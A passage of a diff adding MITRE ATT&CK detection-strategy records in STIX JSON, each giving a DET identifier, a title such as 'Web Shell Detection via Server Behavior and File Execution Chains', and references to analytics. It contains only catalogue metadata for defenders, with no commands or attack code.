"enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b4cdf164-9cb7-4cad-bdc3-81b5574f364a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0162", + "external_id": "DET0162" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Socket-filter trigger \u2192 on-host raw-socket activity \u2192 reverse connection (T1205.002)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--98d733c2-370b-4cd0-8ec6-226a1ca19604", + "x-mitre-analytic--c19f8f89-76f9-4345-8bb6-a065fba50bff", + "x-mitre-analytic--e6d04b50-7bdc-480e-9bda-291db9b270f6" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ec870f2d-bba3-43f9-95b8-c2f85678dba4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0009", + "external_id": "DET0009" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Supply-chain tamper in dependencies/dev-tools (manager\u2192write/install\u2192first-run\u2192egress)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9ec9d296-173f-4e47-8bc4-d20d558e6e18", + "x-mitre-analytic--9e95639e-633f-47cf-b343-3ea771c19192", + "x-mitre-analytic--0f186e7f-fe33-45d6-ba1e-02a334cf1cb3" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--13233865-3b73-4065-a056-43fcd6eb6ed5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0310", + "external_id": "DET0310" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Suspicious Addition to Local or Domain Groups", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--58bed5f5-6ef5-4558-9ac9-b58f8aa9888c", + "x-mitre-analytic--ff692121-8bbd-4d22-8192-fe6a7dd94f57", + "x-mitre-analytic--03b0d93e-955a-49f6-83ad-8cf72b678367" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--18fe3660-c079-4522-b1d7-7ce7f65f9686", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0242", + "external_id": "DET0242" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Suspicious Database Access and Dump Activity Across Environments (T1213.006)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--147c0305-abff-4bc3-ae2a-acd69d0b87fd", + "x-mitre-analytic--d869b672-c3e9-446c-9e7a-c9ce5888794c", + "x-mitre-analytic--3e87713d-d062-413c-9643-97df331ba651", + "x-mitre-analytic--041812fa-5446-47cc-8ca0-1106f4874c10", + "x-mitre-analytic--544c832f-4849-4fb7-a851-5f69ec0692a9" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--bbeacdc8-c14c-44f1-9ace-fc8282a05c67", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0036", + "external_id": "DET0036" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Suspicious Device Registration via Entra ID or MFA Platform", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--108a10d2-4a9e-4c11-8a6f-42c8b60f0f52", + "x-mitre-analytic--d5dc64ab-bb69-4893-a155-84d403040e1a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7c27cb31-4806-479f-a07b-900450236a57", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0572", + "external_id": "DET0572" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Suspicious RoleBinding or ClusterRoleBinding Assignment in Kubernetes", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b721ae18-79fc-4b82-8991-93980b14ded5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--769615c5-08d5-4f51-8f3b-7ac2f1febce8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0425", + "external_id": "DET0425" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Suspicious Use of Web Services for C2", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5a10a19a-035e-469e-8ec5-fafb1f0f0fe6", + "x-mitre-analytic--6e053521-1d6d-493f-8cd5-34f9a5992fc7", + "x-mitre-analytic--aff88199-cad0-47f8-b065-0ad7a86ec8a7", + "x-mitre-analytic--900bc498-4b81-43b6-bec2-3b55edc5c0ff" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--75161d5e-2b6d-4112-ab4d-338f70ea97f0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0525", + "external_id": "DET0525" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "System Discovery via Native and Remote Utilities", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--54bfcc92-e04c-4eac-9aa2-c10b7574088c", + "x-mitre-analytic--eca769c3-9497-4c87-b624-4003fd1b0304", + "x-mitre-analytic--85a20f4b-4171-4450-a34f-17725d44aad9", + "x-mitre-analytic--164a04c5-db61-477f-b3fa-8bf806631fbb", + "x-mitre-analytic--d664b158-5035-4e0b-a069-7a5b27ce0936", + "x-mitre-analytic--3ff23082-b5c6-47c0-8d76-a2d6fa88e622" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--2250ba04-1b95-4c72-9373-d87e8c1d7869", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0447", + "external_id": "DET0447" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "T1136.001 Detection Strategy - Local Account Creation Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4e4c318b-5da0-46f7-aed2-d37828e4831b", + "x-mitre-analytic--ee065e5f-5a04-49bd-b2b6-33b404ac37c7", + "x-mitre-analytic--45e8fdaf-60cc-46db-a9fd-5dc18c8db6bb", + "x-mitre-analytic--b7a63a7c-e8c2-4a25-becf-299ea45996e5", + "x-mitre-analytic--ac204e03-5c8c-4e29-929c-780145a98669", + "x-mitre-analytic--614594ba-9590-4fa9-871c-3e092882c74c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--aae40136-73f7-45e8-a37f-104ae7155bbe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0003", + "external_id": "DET0003" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "T1136.002 Detection Strategy - Domain Account Creation Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--86103b48-cd6d-447d-aef4-807e10355506", + "x-mitre-analytic--e86081ab-aad1-48a1-abd8-5a5c8c7c936a", + "x-mitre-analytic--03513eb2-6dbd-4160-94dd-25d2bce349be" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f1fdcaa2-7040-4cea-a934-7397566a312b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0534", + "external_id": "DET0534" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "TCC Database Manipulation via Launchctl and Unprotected SIP", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c0766f2c-e282-44a1-8dcf-1575d77658da" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--481a55d3-5f23-4428-9438-0220eab78678", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0566", + "external_id": "DET0566" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Template Injection Detection - Windows", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--dea5f6cc-d3bb-404b-8aab-f7366988a96e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1e601759-c5d1-45cc-97a1-972967426794", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0524", + "external_id": "DET0524" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Traffic Signaling (Port-knock / magic-packet \u2192 firewall or service activation) \u2013 T1205", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0848a778-7bcf-48d9-a14a-d29d1e71e656", + "x-mitre-analytic--2e7a9609-3e4b-477b-828f-f486561d7fa7", + "x-mitre-analytic--48d2effa-7fc0-4790-9cc9-bbe573c29301", + "x-mitre-analytic--ac933d77-bdb6-45ed-8fb5-87bae6f225cb" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3a114d11-0850-4c33-b828-359e59b15250", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0306", + "external_id": "DET0306" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Unauthorized Network Firewall Rule Modification (T1562.013)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--17ce541a-23fa-4b33-affc-c6ba906e9956" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3243e976-0cf8-4f18-8b50-38b9ee5bfc4c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0351", + "external_id": "DET0351" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Unix-like File Permission Manipulation Behavioral Chain Detection Strategy", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--971ddd36-1ecd-46bf-b94c-22e8f05c1462", + "x-mitre-analytic--2d21fb1f-f9c3-4e72-a6dd-3d7872be3294" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0dabfa5e-9c35-48ec-b825-ff1cce7a3d00", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0340", + "external_id": "DET0340" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "User Execution \u2013 Malicious Copy & Paste (browser/email \u2192 shell with obfuscated one-liner) \u2013 T1204.004", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8cb0a7da-942b-4771-b9d5-cf558755677a", + "x-mitre-analytic--1895e723-dcfb-45d4-80fc-aaa0c3963cc9", + "x-mitre-analytic--acf0fdbb-6fbf-42c0-acc4-75a545c24f90" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e2023eb5-d813-4a08-985e-e8c998672037", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0294", + "external_id": "DET0294" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "User Execution \u2013 Malicious File via download/open \u2192 spawn chain (T1204.002)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--328d639e-6b8d-400c-9cdd-3c255d343e47", + "x-mitre-analytic--5becf65d-da9f-46e1-8edc-eea05c9dc6cb", + "x-mitre-analytic--e0b64d4e-79e0-47b8-a95c-414e2b69406d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ee7bd8ff-fbfd-4bb2-9d23-cf3f6ed342c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0248", + "external_id": "DET0248" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "User Execution \u2013 Malicious Image (containers & IaaS) \u2013 pull/run \u2192 start \u2192 anomalous behavior (T1204.003)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4c16cebd-ac7e-472a-ae12-62966cbd19e2", + "x-mitre-analytic--7b711402-12f7-4985-93df-2693eaf9ebdb" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b977bf63-8fe2-4538-b4f2-0098fe26d67b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0066", + "external_id": "DET0066" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "User Execution \u2013 Malicious Link (click \u2192 suspicious egress \u2192 download/write \u2192 follow-on activity)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--12849ba4-39da-48c9-bf3d-c51a6cc3f85b", + "x-mitre-analytic--bbfa2ed1-f8d5-44cf-9da8-5e3fed544172", + "x-mitre-analytic--3f615721-c62f-4229-9c6e-cb873b2591e5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--70c9f174-2e96-4086-b59c-d2358e434f8e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0478", + "external_id": "DET0478" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "User Execution \u2013 multi-surface behavior chain (documents/links \u2192 helper/unpacker \u2192 LOLBIN/child \u2192 egress)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--dcd6253b-a986-4c8a-bd89-46389007ea83", + "x-mitre-analytic--a6e7697d-f0b8-4fcc-b32a-fec5b28cd8f7", + "x-mitre-analytic--66107cd1-c123-4ad5-bb0b-62d8a9a451a6", + "x-mitre-analytic--3a6fdd1a-59c6-4f46-a761-0de502229da0", + "x-mitre-analytic--e707cd33-8e20-4b1d-ad3f-fd3a3233fcdd" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--09caebdc-2ce4-4698-a40c-d91cb65f9720", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0252", + "external_id": "DET0252" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "User-Initiated Malicious Library Installation via Package Manager (T1204.005)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--223a39c8-d194-456e-be99-2db9e97ab7da", + "x-mitre-analytic--05985fc7-44cf-4b28-8d4f-14c1662bc5ea", + "x-mitre-analytic--98f18ad5-0def-4ac3-8822-7538f0a8d64d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5b998fb4-fb3f-4207-ae00-cdf0e1a22b76", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0168", + "external_id": "DET0168" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Virtualization/Sandbox Evasion via System Checks across Windows, Linux, macOS", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--04bcbbb7-bfa9-41a5-9fb8-72a6df9ad50b", + "x-mitre-analytic--7b4b3b54-d992-4f03-922a-6eec96c9342e", + "x-mitre-analytic--5a92bf3c-1832-453b-8ac9-24f8688d6faf" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--abb052c6-4edd-4592-9b9b-e53a55ac53b8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0394", + "external_id": "DET0394" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Web Shell Detection via Server Behavior and File Execution Chains", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--66c98f78-2848-43f4-a69d-5562f03712ec", + "x-mitre-analytic--9e80763b-5287-451f-b2ab-37168b159387", + "x-mitre-analytic--e5a0bbf3-e5d0-41f1-b757-c67eccece77b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--78340b60-535e-4f2e-a376-c6fcc53a3c4a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0481", + "external_id": "DET0481" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Windows COM Hijacking Detection via Registry and DLL Load Correlation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--cda93955-7500-49dd-9150-94bedae91d22" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a1b25828-57bf-470c-8f47-8ad4e1f6bbdb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0418", + "external_id": "DET0418" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Windows DACL Manipulation Behavioral Chain Detection Strategy", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + 